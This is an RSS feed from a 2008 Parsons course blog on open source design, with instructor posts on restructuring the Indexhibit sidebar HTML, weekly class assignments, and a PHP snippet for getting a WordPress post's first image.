



































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Open Source Design &#187; Mushon</title>
	<atom:link href="http://www.mushon.com/fall08/osd/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mushon.com/fall08/osd</link>
	<description>Students designing with and for open source software &#124; Parsons Fall 2008</description>
	<lastBuildDate>Fri, 22 May 2009 16:49:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Indexhibit sidebar &#8211; with sane id&#8217;s &amp; classes</title>
		<link>http://www.mushon.com/fall08/osd/12/21/indexhibit-sidebar-with-sane-ids-classes/</link>
		<comments>http://www.mushon.com/fall08/osd/12/21/indexhibit-sidebar-with-sane-ids-classes/#comments</comments>
		<pubDate>Sun, 21 Dec 2008 22:24:57 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[indexhibit]]></category>
		<category><![CDATA[osd]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[semantic]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/12/21/indexhibit-sidebar-with-sane-ids-classes/</guid>
		<description><![CDATA[



I made some changes to the commented index.php and the plugins index.php (which I found to be the one in charge of the sidebar structure) I basically changed the way these html elements are constructed through php and made sure they can be much more easily selected and styled. Basically the sidebar I have now [...]]]></description>
			<content:encoded><![CDATA[



<p>I <a href="http://trac.assembla.com/osd2/changeset/124">made some changes</a> to the commented index.php and the plugins index.php (which I found to be the one in charge of the sidebar structure) I basically changed the way these html elements are constructed through php and made sure they can be much more easily selected and styled.</p>
<p>Basically the sidebar I have now looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;menu&quot;</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;container&quot;</span>&gt;</span>
&nbsp;
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;top-section&quot;</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>Mushon<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
&nbsp;
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;nav sectional&quot;</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Projects&quot;</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>Projects<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
                    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;do_click();&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.mushon.com/fall08/osd/indexhibit/index.php?/project/kriegspiel/&quot;</span>&gt;</span>Just a test<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Info&quot;</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>Info<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
                    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;active&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;do_click();&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.mushon.com/fall08/osd/indexhibit/&quot;</span>&gt;</span>Main<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;oldstuff&quot;</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>old stuff<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h3</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
                    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">onclick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;do_click();&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.mushon.com/fall08/osd/indexhibit/index.php?/project/older-one/&quot;</span>&gt;</span>older one<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
                <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
&nbsp;
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;bottom-section&quot;</span>&gt;</span>
	        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>Just testing<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">&lt;!-- you must provide a link to Indexhibit on your site someplace - thank you --&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;built&quot;</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;</span>Built with <span style="color: #009900;">&lt;as <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.indexhibit.org/&quot;</span>&gt;</span>Indexhibit<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span>as&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span>
&nbsp;
    <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>	
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></pre></div></div>

<p>So try it out and tell me what do you guys think?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/21/indexhibit-sidebar-with-sane-ids-classes/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Last week of class, many weeks left with OSD</title>
		<link>http://www.mushon.com/fall08/osd/12/16/last-week-of-class-many-weeks-left-with-osd/</link>
		<comments>http://www.mushon.com/fall08/osd/12/16/last-week-of-class-many-weeks-left-with-osd/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 17:15:22 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#2-Wordpress]]></category>
		<category><![CDATA[#3-OSD]]></category>
		<category><![CDATA[briefs]]></category>
		<category><![CDATA[final class]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=747</guid>
		<description><![CDATA[OSD kinda sounds like OCD, which makes sense. Basically I do hope our obsession with open source will not be over with the impending end of the semester, and while there&#8217;s only one week left we do have a lot to cover. Next week: WordPress sites Final presentations of WordPress sites &#8211; prepare to present [...]]]></description>
			<content:encoded><![CDATA[<p>OSD kinda sounds like OCD, which makes sense.</p>
<p>Basically I do hope our obsession with open source will not be over with the impending end of the semester, and while there&#8217;s only one week left we do have a lot to cover. Next week:</p>
<ul>
<li><strong>WordPress sites</strong><br />
Final presentations of WordPress sites &#8211; prepare to present your work and summarize what you&#8217;ve been doing to customize your OS site to your needs.</li>
<li><strong>OSD &#8211; Indexhibit</strong>
<ul>
<li>Finish your the contribution you made to Indexhibit. (if it&#8217;s collaborative, communicate about it through the list)</li>
<li>Write a post about it in our blog (including links to download or embedded video when necessary)</li>
<li>Write a post about it in the Indexhibit forum</li>
<li>Email the discussion list with your link to the Indexhibit forum</li>
</ul>
</li>
<li><strong>Our Last Class<br />
</strong></p>
<ul>
<li>Be prepared to give me some constructive feedback towards the next time I teach this class.</li>
<li>Feel free to bring some treats so we can celebrate the end of this amazing semester</li>
</ul>
</li>
</ul>
<p>Remember, this is the last week of the class. Initiative in open source is a complicated thing. Ideally, it should not be tied to your academic commitments. In our class it&#8217;s a bit of self initiated and directed by me. In this last week I do want you to take the lead. So I want to see some action and be spammed with tons of commits through out the week.</p>
<p>take care, miss you already.</p>
<p>Mushon</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/16/last-week-of-class-many-weeks-left-with-osd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Computational Design</title>
		<link>http://www.mushon.com/fall08/osd/12/16/computational-design/</link>
		<comments>http://www.mushon.com/fall08/osd/12/16/computational-design/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 15:32:59 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[FYI]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[processing]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=759</guid>
		<description><![CDATA[Recommended! Renda Morton&#8216;s class next semester: The computer has become the primary tool of the graphic designer, yet we rarely use the computer to its full potential. By investigating and playing with code, we’ll learn the fundamentals of programming and ways in which we can use these skills to sketch or generate ideas for projects [...]]]></description>
			<content:encoded><![CDATA[<p>Recommended! <a href="http://www.rumors-online.com/">Renda Morton</a>&#8216;s class next semester:</p>
<p>The computer has become the primary tool of the graphic designer, yet we rarely use the computer to its full potential. By investigating and playing with code, we’ll learn the fundamentals of programming and ways in which we can use these skills to sketch or generate ideas for projects both on and off the screen. Students will learn how to program images, animations and interactions using Processing, an open source programming language and environment. Topics include generative design systems, data organization and visualization, and physical computing. No prior programming skills are required.</p>
<p>See also:</p>
<p><strong>Processing 1.0</strong><br />
<a href="http://processing.org/">http://processing.org/</a></p>
<p><strong>Design and the Elastic Mind Exhibition (MoMA)</strong><br />
<a href="http://www.moma.org/exhibitions/2008/elasticmind/">http://www.moma.org/exhibitions/2008/elasticmind/</a></p>
<p><strong>Making do and getting by: Software and design</strong><br />
by David Reinfurt<br />
<a href="http://www.adobe.com/designcenter/thinktank/makingdo/">http://www.adobe.com/designcenter/thinktank/makingdo/</a></p>
<p><a href="http://www.adobe.com/designcenter/thinktank/makingdo/"><span id="more-759"></span></a></p>
<p>Related Projects:<br />
<strong>Mecury Hotel Facade Animation</strong><br />
<a href="http://lust.nl/lustArchive/mercury/index.html">http://lust.nl/lustArchive/mercury/index.html</a></p>
<p><strong>Hall of Fragments</strong><br />
<a href="http://lab.rockwellgroup.com/work/venice-biennale ">http://lab.rockwellgroup.com/work/venice-biennale </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/16/computational-design/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress 2.7 is out, improvise&#8230;</title>
		<link>http://www.mushon.com/fall08/osd/12/11/wordpress-27-is-out/</link>
		<comments>http://www.mushon.com/fall08/osd/12/11/wordpress-27-is-out/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 02:14:12 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[FYI]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=744</guid>
		<description><![CDATA[Go get it while it&#8217;s hot!]]></description>
			<content:encoded><![CDATA[<p><embed src="http://v.wordpress.com/hFr8Nyar" type="application/x-shockwave-flash" width="400" height="224" allowscriptaccess="always" allowfullscreen="true"></embed></p>
<p><a href="http://wordpress.org/download/">Go get it while it&#8217;s hot!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/11/wordpress-27-is-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting serious with Indexhibit</title>
		<link>http://www.mushon.com/fall08/osd/12/09/getting-serious-with-indexhibit/</link>
		<comments>http://www.mushon.com/fall08/osd/12/09/getting-serious-with-indexhibit/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 17:05:20 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#3-OSD]]></category>
		<category><![CDATA[briefs]]></category>
		<category><![CDATA[indexhibit]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=721</guid>
		<description><![CDATA[Today in class we make plans to get the Indexhibit work done within the next two weeks. Each one of you will comment to this post with a commitment to what you intend to do by next week. Current options (we can expand this list): Write a css plugin Write comments for the css code [...]]]></description>
			<content:encoded><![CDATA[<p>Today in class we make plans to get the Indexhibit work done within the next two weeks. Each one of you will comment to this post with a commitment to what you intend to do by next week.<br />
Current options (we can expand this list):</p>
<ul>
<li>Write a css plugin</li>
<li>Write comments for the css code</li>
<li>Do a screencast of how to install Indexhibit</li>
<li>Do a screencast of how to use Indexhibit</li>
<li>Do a screencast of how to modify Indexhibit (maybe using Firebug too)</li>
<li>Write a post(s) to document our efforts</li>
<li>Float our user interface and accessibility concerns to the Indexhibit community (on the forums) and follow up the discussion to fix it.</li>
<li>more&#8230;</li>
</ul>
<p>As the semester is neerly done, and since you guys seem to be much more in control of your WordPress stuff, I think we should feel safe to swich gears and focus our attention on our OSD project &#8211; our class legacy&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/09/getting-serious-with-indexhibit/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Getting the first image from a WordPress post</title>
		<link>http://www.mushon.com/fall08/osd/12/09/getting-the-first-image-from-a-post/</link>
		<comments>http://www.mushon.com/fall08/osd/12/09/getting-the-first-image-from-a-post/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 14:34:06 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#2-Wordpress]]></category>
		<category><![CDATA[FYI]]></category>
		<category><![CDATA[class notes]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[function]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[snippets]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=709</guid>
		<description><![CDATA[











Here&#8217;s a WordPress code snippets I thought you might find useful. It is a functions you can dump in functions.php and then use in your theme. This one would get you the first image from any post you pass it. This is a great way for you guys to get thumbnails for your posts without [...]]]></description>
			<content:encoded><![CDATA[











<p>Here&#8217;s a WordPress code snippets I thought you might find useful. It is a functions you can dump in functions.php and then use in your theme. This one would get you the first image from any post you pass it. This is a great way for you guys to get thumbnails for your posts without extra effort. Here we go:</p>
<h4>Snippet</h4>
<p>Paste this code into anywhere in your functions.php file</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> get_first_image<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_ID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fullsize</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">,</span> <span style="color: #000088;">$max_dims</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$thumbargs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
	<span style="">'post_type'</span> <span style="color: #339933;">=&gt;</span> <span style="">'attachment'</span><span style="color: #339933;">,</span>
	<span style="">'post_status'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span>
	<span style="">'post_parent'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$post_ID</span>
	<span style="color: #009900;">&#41;</span>;
	<span style="color: #000088;">$thumbs</span> <span style="color: #339933;">=</span> get_posts<span style="color: #009900;">&#40;</span><span style="color: #000088;">$thumbargs</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$thumbs</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$num</span> <span style="color: #339933;">=</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$thumbs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span>;
		<span style="color: #b1b100;">return</span> get_attachment_innerHTML<span style="color: #009900;">&#40;</span><span style="color: #000088;">$thumbs</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$num</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fullsize</span><span style="color: #339933;">,</span> <span style="color: #000088;">$max_dims</span><span style="color: #009900;">&#41;</span>;
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<h4>Parameters</h4>
<p>This function expects to be passed three parameters:  <code><strong>$post_ID</strong></code> The ID of the post you want the first image for (you can get it easily from the loop for example)  <code><strong>$fullsize</strong></code> Are you trying to refer to the full size image? [<code>true</code>] or to the thumbnail [<code>false</code>]. Default: false  <code><strong>$max_dims</strong></code> Do you want to make the image resize proportionally? If so, pass a single number [300] to limit it equally on both height and width or pass an array of two values, width and height [array(300,200)] to have different height and width size limits. If you don&#8217;t want to limit size pass false. [<code>false</code>] Default: false</p>
<h4>Returns</h4>
<p>This function would return the img tag with the alt tag, image resizing and all. So putting this in your theme:</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;">get_first_image <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">35</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">300</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">350</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>;</pre></div></div>

<p>Might return this:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict html4strict" style="font-family:monospace;">  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;my image title&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://artfocus.org.il/en/wp-content/uploads/2008/08/durham-jd_coll-stones_brasilian2.jpg&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;my image description&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;300&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></pre></div></div>

<p>In this case <a href="http://artfocus.org.il/en/wp-content/uploads/2008/08/durham-jd_coll-stones_brasilian2.jpg" rel="lightbox[709]">http://artfocus.org.il/en/wp-content/uploads/2008/08/durham-jd_coll-stones_brasilian2.jpg</a> is the full sized image, and being of landscape proportions it is being its size is being resized to proportionally fit the 300px width. If it would have been a vertical image, it might have resized by the 350px height and then its width might resize to less than 300px.  Enjoy.</p>
<h4>Thanks</h4>
<p>Thanks to <a href="http://www.binarspace.com/" target="_blank">Crerem</a> and <a href="http://bcnewmedia.co.uk" target="_blank">Ben Colman</a>, for providing bug report and patches to the code (thrugh the comments)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/09/getting-the-first-image-from-a-post/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>OK Indexhibit, let&#8217;s make you better</title>
		<link>http://www.mushon.com/fall08/osd/12/02/ok-indexhibit-lets-make-you-better/</link>
		<comments>http://www.mushon.com/fall08/osd/12/02/ok-indexhibit-lets-make-you-better/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 17:30:28 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#2-Wordpress]]></category>
		<category><![CDATA[#3-OSD]]></category>
		<category><![CDATA[briefs]]></category>
		<category><![CDATA[indexhibit]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=700</guid>
		<description><![CDATA[Indexhibit: Write a CSS Plugin for Indexhibit, please communicate with the rest of us what your plugin will be about. Chip in on the documentation for the Sandbox theme Let&#8217;s communicate about our Friday gig. WordPress: Start diving into plugins. Make your theme links url independent. Upload content to your blog. Get ready to finish [...]]]></description>
			<content:encoded><![CDATA[<p>Indexhibit:</p>
<ul>
<li>Write a CSS Plugin for Indexhibit, please communicate with the rest of us what your plugin will be about.</li>
<li>Chip in on the documentation for the Sandbox theme</li>
<li>Let&#8217;s communicate about our Friday gig.</li>
</ul>
<p>WordPress:</p>
<ul>
<li>Start diving into plugins.</li>
<li>Make your theme links url independent.</li>
<li>Upload content to your blog.</li>
<li>Get ready to finish this thing.</li>
</ul>
<p>Enjoy</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/12/02/ok-indexhibit-lets-make-you-better/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPing &amp; OSDing</title>
		<link>http://www.mushon.com/fall08/osd/11/18/wping-osding/</link>
		<comments>http://www.mushon.com/fall08/osd/11/18/wping-osding/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 18:00:59 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#2-Wordpress]]></category>
		<category><![CDATA[#3-OSD]]></category>
		<category><![CDATA[briefs]]></category>
		<category><![CDATA[indexhibit]]></category>
		<category><![CDATA[osd]]></category>
		<category><![CDATA[theme]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=690</guid>
		<description><![CDATA[As our process becomes more self-directed, I do not have any specifics for you for next week but: Continue down the WP path: try to finish the main page Next go to post page (single.php) (+ if relevant: comments.php) Then to page page (page.php) Then to the menus (archive.php archives.php author.php category.php tag.ph) Then to [...]]]></description>
			<content:encoded><![CDATA[<p>As our process becomes more self-directed, I do not have any specifics for you for next week but:</p>
<ul>
<li>Continue down the WP path:
<ol>
<li>try to finish the main page</li>
<li>Next go to post page (single.php) (+ if relevant: comments.php)</li>
<li>Then to page page (page.php)</li>
<li>Then to the menus (archive.php archives.php author.php category.php tag.ph)</li>
<li>Then to search (search.php)</li>
<li>Last (/optional): 404.php, attachment.php, image.php, links.php)</li>
</ol>
</li>
<li>Let&#8217;s get our heads into Indexhibit and how can we make it better:
<ol>
<li>We&#8217;ll discuss it in class today</li>
<li>Let&#8217;s share some findings from the <a href="http://indexhibit.org/forum">Indexhibit forum</a> that can shed some light on where to take this</li>
<li>Let&#8217;s experiment with theming Indexhibit, it&#8217;s not hard, how can it be easier?</li>
</ol>
</li>
<li>Leonie will be back next week with a &#8216;Great Wide Open&#8217; for us.</li>
<li>Enjoy</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/11/18/wping-osding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Now really&#8230;</title>
		<link>http://www.mushon.com/fall08/osd/11/11/now-really/</link>
		<comments>http://www.mushon.com/fall08/osd/11/11/now-really/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 17:15:28 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#2-Wordpress]]></category>
		<category><![CDATA[#3-OSD]]></category>
		<category><![CDATA[briefs]]></category>
		<category><![CDATA[indexhibit]]></category>
		<category><![CDATA[osd]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=654</guid>
		<description><![CDATA[Ok, we had a huge distraction this week, but now we dive directly into into theming our WP themes and into the final OSD project. On the theme front: Finish your main page (header.php / index.php / footer.php / sidebars.php) when (/if) you get to it, go to post.php &#8211; it should be pretty easy [...]]]></description>
			<content:encoded><![CDATA[<p>Ok,</p>
<p>we had a huge distraction this week, but now we dive directly into into theming our WP themes and into the final OSD project.</p>
<p>On the theme front:</p>
<ul>
<li>Finish your main page (header.php / index.php / footer.php / sidebars.php)</li>
<li>when (/if) you get to it, go to post.php &#8211; it should be pretty easy to extend what you did in index.php to it.</li>
</ul>
<p>On the OSD front (my proposal for moving forward):</p>
<ul>
<li><strong>Leonie:</strong> Please document your process of trying to install Indexhibit, including (mainly) the difficulties and frustrations. The format could be:
<ul>
<li>What are you trying to do?</li>
<li>What are you accomplishing through the official tutorial?</li>
<li>What do you do when you&#8217;re stuck?</li>
<li>How confident are you through the process?</li>
<li>What helps/extends confidence? What does the opposite?</li>
</ul>
<p>It will be a great way for us to learn about where we should focus our energies.</li>
<li><strong>Karen, Khurry, Ed &amp; Alexandra</strong>: I propose:
<ul>
<li>Research existing documentation of Indexhibit and based on it.</li>
<li>Try to install it on your servers.</li>
<li>Write a post proposing contributions you/we make to the project as designers (you can propose several and expand on at least one of them).</li>
</ul>
</li>
</ul>
<p><strong>Leonie &#8211; Next week, Great/Wide/Open:</strong></p>
<ul>
<li>Got an idea? Yes? No? Talk to me&#8230;</li>
</ul>
<p>Enjoy. (yes, we can)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/11/11/now-really/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I think that&#8217;s it!</title>
		<link>http://www.mushon.com/fall08/osd/11/08/i-think-thats-it/</link>
		<comments>http://www.mushon.com/fall08/osd/11/08/i-think-thats-it/#comments</comments>
		<pubDate>Sun, 09 Nov 2008 03:47:54 +0000</pubDate>
		<dc:creator>Mushon</dc:creator>
				<category><![CDATA[#3-OSD]]></category>
		<category><![CDATA[final]]></category>
